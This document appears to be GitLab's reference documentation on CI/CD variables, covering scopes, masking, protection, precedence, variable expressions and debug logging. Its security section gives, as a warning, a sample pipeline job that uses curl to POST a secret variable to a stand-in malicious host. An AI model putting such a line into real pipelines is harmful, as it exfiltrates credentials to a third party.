GitLab CI/CD variables

CI/CD variables are a type of environment variable. You can use them to:

  • Control the behavior of jobs and pipelines.
  • Store values you want to re-use.
  • Avoid hard-coding values in your .gitlab-ci.yml file.

You can use predefined CI/CD variables or define custom:

For more information about advanced use of GitLab CI/CD:

Predefined CI/CD variables

GitLab CI/CD has a default set of predefined CI/CD variables you can use in pipelines configuration and job scripts.

Use predefined CI/CD variables

You can use predefined CI/CD variables in your .gitlab-ci.yml without declaring them first.

This example shows how to output a job’s stage by using the CI_JOB_STAGE predefined variable:

test_variable:
  stage: test
  script:
    - echo "$CI_JOB_STAGE"

The script outputs the stage for the test_variable, which is test:

Output `$CI_JOB_STAGE`

Custom CI/CD variables

You can create custom CI/CD variables:

You can override variable values manually for a specific pipeline, or have them prefilled in manual pipelines.

There are two types of variables: File or Variable.

Variable names are limited by the shell the runner uses to execute scripts. Each shell has its own set of reserved variable names.

Make sure each variable is defined for the scope you want to use it in.

Create a custom CI/CD variable in the .gitlab-ci.yml file

To create a custom variable in the .gitlab-ci.yml file, define the variable and value with variables keyword.

You can use the variables keyword in a job or at the top level of the .gitlab-ci.yml file. If the variable is at the top level, it’s globally available and all jobs can use it. If it’s defined in a job, only that job can use it.

variables:
  TEST_VAR: "All jobs can use this variable's value"

job1:
  variables:
    TEST_VAR_JOB: "Only job1 can use this variable's value"
  script:
    - echo "$TEST_VAR" and "$TEST_VAR_JOB"

Variables saved in the .gitlab-ci.yml file should store only non-sensitive project configuration, like a RAILS_ENV or DATABASE_URL variable. These variables are visible in the repository. Store sensitive variables containing secrets, keys, and so on in project settings.

Variables saved in the .gitlab-ci.yml file are also available in service containers.

If you don’t want globally defined variables to be available in a job, set variables to {}:

job1:
  variables: {}
  script:
    - echo This job does not need any variables

You can use variables to help define other variables. Use $$ to ignore a variable name inside another variable:

variables:
  FLAGS: '-al'
  LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
script:
  - 'eval "$LS_CMD"'  # Executes 'ls -al $TMP_DIR'

Use the value and description keywords to define variables that are prefilled for manually-triggered pipelines.

Project CI/CD variables

You can add CI/CD variables to a project’s settings. Only project members with maintainer permissions can add or update project CI/CD variables. To keep a CI/CD variable secret, put it in the project settings, not in the .gitlab-ci.yml file.

To add or update variables in the project settings:

  1. Go to your project’s Settings > CI/CD and expand the Variables section.
  2. Select the Add Variable button and fill in the details:

    • Key: Must be one line, with no spaces, using only letters, numbers, or _.
    • Value: No limitations.
    • Type: File or Variable.
    • Environment scope: All, or specific environments.
    • Protect variable (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
    • Mask variable (Optional): If selected, the variable’s Value is masked in job logs. The variable fails to save if the value does not meet the masking requirements.

After you create a variable, you can use it in the .gitlab-ci.yml file:

test_variable:
  stage: test
  script:
    - echo "$CI_JOB_STAGE"  # calls a predefined variable
    - echo "$TEST"          # calls a custom variable of type `env_var`
    - echo "$GREETING"      # calls a custom variable of type `file` that contains the path to the temp file
    - cat "$GREETING"       # the temp file itself contains the variable value

The output is:

Output custom variable

Group CI/CD variables

Version history
  • Introduced in GitLab 9.4.
  • Support for environment scopes added to GitLab Premium in 13.11

To make a CI/CD variable available to all projects in a group, define a group CI/CD variable.

Use group variables to store secrets like passwords, SSH keys, and credentials, if you:

To add a group variable:

  1. In the group, go to Settings > CI/CD.
  2. Select the Add Variable button and fill in the details:

    • Key: Must be one line, with no spaces, using only letters, numbers, or _.
    • Value: No limitations.
    • Type: File or Variable.
    • Environment scope (optional): All, or specific environments.
    • Protect variable (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
    • Mask variable (Optional): If selected, the variable’s Value is masked in job logs. The variable fails to save if the value does not meet the masking requirements.

To view the group-level variables available in a project:

  1. In the project, go to Settings > CI/CD.
  2. Expand the Variables section.

Variables from subgroups are recursively inherited.

CI/CD settings - inherited variables

Instance CI/CD variables

Version history

To make a CI/CD variable available to all projects and groups in a GitLab instance, define an instance CI/CD variable.

You can define instance variables via the UI or API.

To add an instance variable:

  1. Navigate to your Admin Area’s Settings > CI/CD and expand the Variables section.
  2. Select the Add variable button, and fill in the details:

    • Key: Must be one line, with no spaces, using only letters, numbers, or _.
    • Value: In GitLab 13.3 and later, 10,000 characters is allowed. This is also bounded by the limits of the selected runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed.
    • Type: File or Variable.
    • Protect variable (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
    • Mask variable (Optional): If selected, the variable’s Value is not shown in job logs. The variable is not saved if the value does not meet the masking requirements.

CI/CD variable types

Introduced in GitLab 11.11.

All predefined CI/CD variables and variables defined in the .gitlab-ci.yml file are Variable type. Project, group and instance CI/CD variables can be Variable or File type.

Variable type variables:

  • Consist of a key and value pair.
  • Are made available in jobs as environment variables, with:
    • The CI/CD variable key as the environment variable name.
    • The CI/CD variable value as the environment variable value.

Use File type CI/CD variables for tools that need a file as input.

File type variables:

  • Consist of a key, value and file.
  • Are made available in jobs as environment variables, with
    • The CI/CD variable key as the environment variable name.
    • The CI/CD variable value saved to a temporary file.
    • The path to the temporary file as the environment variable value.

Some tools like the AWS CLI and kubectl use File type variables for configuration.

For example, if you have the following variables:

  • A variable of type Variable: KUBE_URL with the value https://example.com.
  • A variable of type File: KUBE_CA_PEM with a certificate as the value.

Use the variables in a job script like this:

kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"

An alternative to File type variables is to:

  • Read the value of a CI/CD variable (variable type).
  • Save the value in a file.
  • Use that file in your script.
# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
# Pass the newly created file to kubectl
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"

Mask a CI/CD variable

Introduced in GitLab 11.10

You can mask a project, group, or instance CI/CD variable so the value of the variable does not display in job logs.

To mask a variable:

  1. Go to Settings > CI/CD in the project, group or instance admin area.
  2. Expand the Variables section.
  3. Next to the variable you want to protect, select Edit.
  4. Select the Mask variable check box.
  5. Select Update variable.

The value of the variable must:

  • Be a single line.
  • Be 8 characters or longer, consisting only of:
  • Not match the name of an existing predefined or custom CI/CD variable.

Protect a CI/CD variable

You can protect a project, group or instance CI/CD variable so it is only passed to pipelines running on protected branches or protected tags.

To protect a variable:

  1. Go to Settings > CI/CD in the project, group or instance admin area.
  2. Expand the Variables section.
  3. Next to the variable you want to protect, select Edit.
  4. Select the Protect variable check box.
  5. Select Update variable.

The variable is available for all subsequent pipelines.

CI/CD variable security

Malicious code pushed to your .gitlab-ci.yml file could compromise your variables and send them to a third party server regardless of the masked setting. If the pipeline runs on a protected branch or protected tag, malicious code can compromise protected variables.

Review all merge requests that introduce changes to the .gitlab-ci.yml file before you:

The following example shows malicious code in a .gitlab-ci.yml file:

build:
  script:
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

Custom variables validated by GitLab

Some variables are listed in the UI so you can choose them more quickly.

Variable Allowed Values Introduced in
AWS_ACCESS_KEY_ID Any 12.10
AWS_DEFAULT_REGION Any 12.10
AWS_SECRET_ACCESS_KEY Any 12.10
caution When you store credentials, there are security implications. If you use AWS keys for example, follow the Best practices for managing AWS access keys.

Use CI/CD variables in job scripts

All CI/CD variables are set as environment variables in the job’s environment. You can use variables in job scripts with the standard formatting for each environment’s shell.

To access environment variables, use the syntax for your runner executor’s shell.

Use variables with Bash, sh and similar

To access environment variables in Bash, sh, and similar shells, prefix the CI/CD variable with ($):

job_name:
  script:
    - echo "$CI_JOB_ID"

Use variables with PowerShell

To access variables in a Windows PowerShell environment, including environment variables set by the system, prefix the variable name with ($env:) or ($):

job_name:
  script:
    - echo $env:CI_JOB_ID
    - echo $CI_JOB_ID
    - echo $env:PATH

In some cases environment variables might need to be surrounded by quotes to expand properly:

job_name:
  script:
    - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test

Windows Batch

To access environment variables in Windows Batch, surround the variable with %:

job_name:
  script:
    - echo %CI_JOB_ID%

You can also surround the variable with ! for delayed expansion. Delayed expansion might be needed for variables that contain white spaces or newlines.

job_name:
  script:
    - echo !ERROR_MESSAGE!

List all environment variables

You can list all environment variables available to a script with the export command in Bash or dir env: in PowerShell. This exposes the values of all available variables, which can be a security risk. Masked variables display as [masked].

For example:

job_name:
  script:
    - export
    # - 'dir env:'  # Use this for PowerShell

Example job log output:

export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="master"
export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
export CI_JOB_TOKEN="[masked]"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss"
export CI_PROJECT_ID="34"
export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss"
export CI_PROJECT_NAME="gitlab-foss"
export CI_PROJECT_TITLE="GitLab FOSS"
export CI_PROJECT_NAMESPACE="gitlab-org"
export CI_PROJECT_ROOT_NAMESPACE="gitlab-org"
export CI_PROJECT_PATH="gitlab-org/gitlab-foss"
export CI_PROJECT_URL="https://example.com/gitlab-org/gitlab-foss"
export CI_REGISTRY="registry.example.com"
export CI_REGISTRY_IMAGE="registry.example.com/gitlab-org/gitlab-foss"
export CI_REGISTRY_USER="gitlab-ci-token"
export CI_REGISTRY_PASSWORD="[masked]"
export CI_RUNNER_ID="10"
export CI_RUNNER_DESCRIPTION="my runner"
export CI_RUNNER_TAGS="docker, linux"
export CI_SERVER="yes"
export CI_SERVER_URL="https://example.com"
export CI_SERVER_HOST="example.com"
export CI_SERVER_PORT="443"
export CI_SERVER_PROTOCOL="https"
export CI_SERVER_NAME="GitLab"
export CI_SERVER_REVISION="70606bf"
export CI_SERVER_VERSION="8.9.0"
export CI_SERVER_VERSION_MAJOR="8"
export CI_SERVER_VERSION_MINOR="9"
export CI_SERVER_VERSION_PATCH="0"
export GITLAB_USER_EMAIL="user@example.com"
export GITLAB_USER_ID="42"
...

Pass an environment variable to another job

Version history

You can pass environment variables from one job to another job in a later stage. These variables cannot be used as CI/CD variables to configure a pipeline, but they can be used in job scripts.

  1. In the job script, save the variable as a .env file.
  2. Save the .env file as an artifacts:reports:dotenv artifact.
  3. Set a job in a later stage to receive the artifact by using the dependencies or the needs keywords.
  4. The later job can then use the variable in scripts.

For example, with the dependencies keyword:

build:
  stage: build
  script:
    - echo "BUILD_VERSION=hello" >> build.env
  artifacts:
    reports:
      dotenv: build.env

deploy:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is: 'hello'
  dependencies:
    - build

For example, with the needs keyword:

build:
  stage: build
  script:
    - echo "BUILD_VERSION=hello" >> build.env
  artifacts:
    reports:
      dotenv: build.env

deploy:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is: 'hello'
  needs:
    - job: build
      artifacts: true

CI/CD variable precedence

You can use CI/CD variables with the same name in different places, but the values can overwrite each other. The type of variable and where they are defined determines which variables take precedence.

The order of precedence for variables is (from highest to lowest):

  1. Trigger variables, scheduled pipeline variables, and manual pipeline run variables.
  2. Project variables.
  3. Group variables.
  4. Instance variables.
  5. Inherited variables.
  6. Variables defined in jobs in the .gitlab-ci.yml file.
  7. Variables defined outside of jobs (globally) in the .gitlab-ci.yml file.
  8. Deployment variables.
  9. Predefined variables.

In the following example, when the script in job1 executes, the value of API_TOKEN is secure. Variables defined in jobs have a higher precedence than variables defined globally.

variables:
  API_TOKEN: "default"

job1:
  variables:
    API_TOKEN: "secure"
  script:
    - echo "The variable value is $API_TOKEN"

Override a defined CI/CD variable

You can override the value of a variable when you:

  1. Run a pipeline manually in the UI.
  2. Create a pipeline by using the API.
  3. Run a job manually in the UI.
  4. Use push options.
  5. Trigger a pipeline by using the API.
  6. Pass variables to a downstream pipeline.

The pipeline variables declared in these events take priority over other variables.

Override a variable when running a pipeline manually

You can override the value of a CI/CD variable when you run a pipeline manually.

  1. Go to your project’s CI/CD > Pipelines and select Run pipeline.
  2. Choose the branch you want to run the pipeline for.
  3. Input the variable and its value in the UI.

Restrict who can override variables

Introduced in GitLab 13.8.

You can grant permission to override variables to maintainers only. When other users try to run a pipeline with overridden variables, they receive the Insufficient permissions to set pipeline variables error message.

If you store your CI/CD configurations in a different repository, use this setting for control over the environment the pipeline runs in.

You can enable this feature by using the projects API to enable the restrict_user_defined_variables setting. The setting is disabled by default.

Limit the environment scope of a CI/CD variable

By default, all CI/CD variables are available to any job in a pipeline. Therefore, if a project uses a compromised tool in a test job, it could expose all CI/CD variables that a deployment job used. This is a common scenario in supply chain attacks. GitLab helps mitigate supply chain attacks by limiting the environment scope of a variable. GitLab does this by defining which environments and corresponding jobs the variable can be available for.

To learn more about scoping environments, see Scoping environments with specs.

To learn more about ensuring CI/CD variables are only exposed in pipelines running from protected branches or tags, see Protect a CI/CD Variable.

Deployment variables

Integrations that are responsible for deployment configuration can define their own variables that are set in the build environment. These variables are only defined for deployment jobs.

For example, the Kubernetes integration defines deployment variables that you can use with the integration.

The documentation for each integration explains if the integration has any deployment variables available.

Auto DevOps environment variables

Introduced in GitLab 11.7.

You can configure Auto DevOps to pass CI/CD variables to a running application.

To make a CI/CD variable available as an environment variable in the running application’s container, prefix the variable key with K8S_SECRET_.

CI/CD variables with multi-line values are not supported.

CI/CD variable expressions

Version history

Use variable expressions to limit which jobs are created in a pipeline after changes are pushed to GitLab.

In .gitlab-ci.yml, variable expressions work with both:

  • rules, which is the recommended approach, and
  • only and except, which are candidates for deprecation.

This is particularly useful in combination with variables and triggered pipeline variables.

deploy:
  script: cap staging deploy
  environment: staging
  only:
    variables:
      - $RELEASE == "staging"
      - $STAGING

Each expression provided is evaluated before a pipeline is created.

If any of the conditions in variables evaluates to true when using only, a new job is created. If any of the expressions evaluates to true when except is being used, a job is not created.

This follows the usual rules for only / except policies.

Syntax of CI/CD variable expressions

Below you can find supported syntax reference.

Equality matching using a string

Examples:

  • $VARIABLE == "some value"
  • $VARIABLE != "some value" (introduced in GitLab 11.11)

You can use equality operator == or != to compare a variable content to a string. We support both, double quotes and single quotes to define a string value, so both $VARIABLE == "some value" and $VARIABLE == 'some value' are supported. "some value" == $VARIABLE is correct too.

Checking for an undefined value

Examples:

  • $VARIABLE == null
  • $VARIABLE != null (introduced in GitLab 11.11)

It sometimes happens that you want to check whether a variable is defined or not. To do that, you can compare a variable to null keyword, like $VARIABLE == null. This expression evaluates to true if variable is not defined when == is used, or to false if != is used.

Checking for an empty variable

Examples:

  • $VARIABLE == ""
  • $VARIABLE != "" (introduced in GitLab 11.11)

To check if a variable is defined but empty, compare it to:

  • An empty string: $VARIABLE == ''
  • A non-empty string: $VARIABLE != ""

Comparing two variables

Examples:

  • $VARIABLE_1 == $VARIABLE_2
  • $VARIABLE_1 != $VARIABLE_2 (introduced in GitLab 11.11)

It is possible to compare two variables. This compares values of these variables.

Variable presence check

Example: $STAGING

To create a job when there is some variable present, meaning it is defined and non-empty, use the variable name as an expression, like $STAGING. If the $STAGING variable is defined, and is non empty, expression evaluates to true. $STAGING value needs to be a string, with length higher than zero. Variable that contains only whitespace characters is not an empty variable.

Regex pattern matching

Introduced in GitLab 11.0

Examples:

  • =~: True if pattern is matched. Ex: $VARIABLE =~ /^content.*/
  • !~: True if pattern is not matched. Ex: $VARIABLE_1 !~ /^content.*/ (Introduced in GitLab 11.11)

Variable pattern matching with regular expressions uses the RE2 regular expression syntax. Expressions evaluate as true if:

  • Matches are found when using =~.
  • Matches are not found when using !~.

Pattern matching is case-sensitive by default. Use i flag modifier, like /pattern/i to make a pattern case-insensitive.

Conjunction / Disjunction

Introduced in GitLab 12.0

Examples:

  • $VARIABLE1 =~ /^content.*/ && $VARIABLE2 == "something"
  • $VARIABLE1 =~ /^content.*/ && $VARIABLE2 =~ /thing$/ && $VARIABLE3
  • $VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/ && $VARIABLE3

It is possible to join multiple conditions using && or ||. Any of the otherwise supported syntax may be used in a conjunctive or disjunctive statement. Precedence of operators follows the Ruby 2.5 standard, so && is evaluated before ||.

Parentheses

Version history

It is possible to use parentheses to group conditions. Parentheses have the highest precedence of all operators. Expressions enclosed in parentheses are evaluated first, and the result is used for the rest of the expression.

Many nested parentheses can be used to create complex conditions, and the inner-most expressions in parentheses are evaluated first. For an expression to be valid an equal number of ( and ) need to be used.

Examples:

  • ($VARIABLE1 =~ /^content.*/ || $VARIABLE2) && ($VARIABLE3 =~ /thing$/ || $VARIABLE4)
  • ($VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/) && $VARIABLE3
  • $CI_COMMIT_BRANCH == "my-branch" || (($VARIABLE1 == "thing" || $VARIABLE2 == "thing") && $VARIABLE3)

Storing regular expressions in variables

It is possible to store a regular expression in a variable, to be used for pattern matching. The following example tests whether $RELEASE contains either the string staging0 or the string staging1:

variables:
  STAGINGRELS: '/staging0|staging1/'

deploy_staging:
  script: do.sh deploy staging
  environment: staging
  rules:
    - if: '$RELEASE =~ $STAGINGRELS'
note The available regular expression syntax is limited. See related issue for more details.

If needed, you can use a test pipeline to determine whether a regular expression works in a variable. The example below tests the ^mast.* regular expression directly, as well as from in a variable:

variables:
  MYSTRING: 'master'
  MYREGEX: '/^mast.*/'

testdirect:
  script: /bin/true
  rules:
    - if: '$MYSTRING =~ /^mast.*/'

testvariable:
  script: /bin/true
  rules:
    - if: '$MYSTRING =~ $MYREGEX'

Debug logging

Introduced in GitLab Runner 1.7.

caution Debug logging can be a serious security risk. The output contains the content of all variables and other secrets available to the job. The output is uploaded to the GitLab server and visible in job logs.

You can use debug logging to help troubleshoot problems with pipeline configuration or job scripts. Debug logging exposes job execution details that are usually hidden by the runner and makes job logs more verbose. It also exposes all variables and secrets available to the job.

Before you enable debug logging, make sure only team members can view job logs. You should also delete job logs with debug output before you make logs public again.

Enable Debug logging

To enable debug logging (tracing), set the CI_DEBUG_TRACE variable to true:

job_name:
  variables:
    CI_DEBUG_TRACE: "true"

Example output (truncated):

...
export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE"
if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
  echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\''
  $'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace"
  $'\''git'\'' "config" "fetch.recurseSubmodules" "false"
  $'\''rm'\'' "-f" ".git/index.lock"
  $'\''git'\'' "clean" "-ffdx"
  $'\''git'\'' "reset" "--hard"
  $'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git"
  $'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds"
++ CI_BUILDS_DIR=/builds
++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ export CI_CONCURRENT_ID=87
++ CI_CONCURRENT_ID=87
++ export CI_CONCURRENT_PROJECT_ID=0
++ CI_CONCURRENT_PROJECT_ID=0
++ export CI_SERVER=yes
++ CI_SERVER=yes
++ mkdir -p /builds/gitlab-examples/ci-debug-trace.tmp
++ echo -n '-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----'
++ export CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ export CI_PIPELINE_ID=52666
++ CI_PIPELINE_ID=52666
++ export CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ export CI_JOB_ID=7046507
++ CI_JOB_ID=7046507
++ export CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ export CI_JOB_TOKEN=[MASKED]
++ CI_JOB_TOKEN=[MASKED]
++ export CI_REGISTRY_USER=gitlab-ci-token
++ CI_REGISTRY_USER=gitlab-ci-token
++ export CI_REGISTRY_PASSWORD=[MASKED]
++ CI_REGISTRY_PASSWORD=[MASKED]
++ export CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ export CI_JOB_NAME=debug_trace
++ CI_JOB_NAME=debug_trace
++ export CI_JOB_STAGE=test
++ CI_JOB_STAGE=test
++ export CI_NODE_TOTAL=1
++ CI_NODE_TOTAL=1
++ export CI=true
++ CI=true
++ export GITLAB_CI=true
++ GITLAB_CI=true
++ export CI_SERVER_URL=https://gitlab.com:3000
++ CI_SERVER_URL=https://gitlab.com:3000
++ export CI_SERVER_HOST=gitlab.com
++ CI_SERVER_HOST=gitlab.com
++ export CI_SERVER_PORT=3000
++ CI_SERVER_PORT=3000
++ export CI_SERVER_PROTOCOL=https
++ CI_SERVER_PROTOCOL=https
++ export CI_SERVER_NAME=GitLab
++ CI_SERVER_NAME=GitLab
++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ export CI_PROJECT_ID=17893
++ CI_PROJECT_ID=17893
++ export CI_PROJECT_NAME=ci-debug-trace
++ CI_PROJECT_NAME=ci-debug-trace
++ export CI_PROJECT_TITLE='GitLab FOSS'
++ CI_PROJECT_TITLE='GitLab FOSS'
++ export CI_PROJECT_PATH=gitlab-examples/ci-debug-trace
++ CI_PROJECT_PATH=gitlab-examples/ci-debug-trace
++ export CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace
++ CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace
++ export CI_PROJECT_NAMESPACE=gitlab-examples
++ CI_PROJECT_NAMESPACE=gitlab-examples
++ export CI_PROJECT_ROOT_NAMESPACE=gitlab-examples
++ CI_PROJECT_ROOT_NAMESPACE=gitlab-examples
++ export CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace
++ CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace
++ export CI_PROJECT_VISIBILITY=public
++ CI_PROJECT_VISIBILITY=public
++ export CI_PROJECT_REPOSITORY_LANGUAGES=
++ CI_PROJECT_REPOSITORY_LANGUAGES=
++ export CI_DEFAULT_BRANCH=master
++ CI_DEFAULT_BRANCH=master
++ export CI_REGISTRY=registry.gitlab.com
++ CI_REGISTRY=registry.gitlab.com
++ export CI_API_V4_URL=https://gitlab.com/api/v4
++ CI_API_V4_URL=https://gitlab.com/api/v4
++ export CI_PIPELINE_IID=123
++ CI_PIPELINE_IID=123
++ export CI_PIPELINE_SOURCE=web
++ CI_PIPELINE_SOURCE=web
++ export CI_CONFIG_PATH=.gitlab-ci.yml
++ CI_CONFIG_PATH=.gitlab-ci.yml
++ export CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045
++ CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045
++ export CI_COMMIT_SHORT_SHA=dd648b2e
++ CI_COMMIT_SHORT_SHA=dd648b2e
++ export CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000
++ CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000
++ export CI_COMMIT_REF_NAME=master
++ CI_COMMIT_REF_NAME=master
++ export CI_COMMIT_REF_SLUG=master
++ CI_COMMIT_REF_SLUG=master
...

Restrict access to debug logging

Version history

You can restrict access to debug logging. When restricted, only users with developer or higher permissions can view job logs when debug logging is enabled with a variable in:

caution If you add CI_DEBUG_TRACE as a local variable to runners, debug logs generate and are visible to all users with access to job logs. The permission levels are not checked by the runner, so you should only use the variable in GitLab itself.

Video walkthrough of a working example

The Managing the Complex Configuration Data Management Monster Using GitLab video is a walkthrough of the Complex Configuration Data Monorepo working example project. It explains how multiple levels of group CI/CD variables can be combined with environment-scoped project variables for complex configuration of application builds or deployments.

The example can be copied to your own group or instance for testing. More details on what other GitLab CI patterns are demonstrated are available at the project page.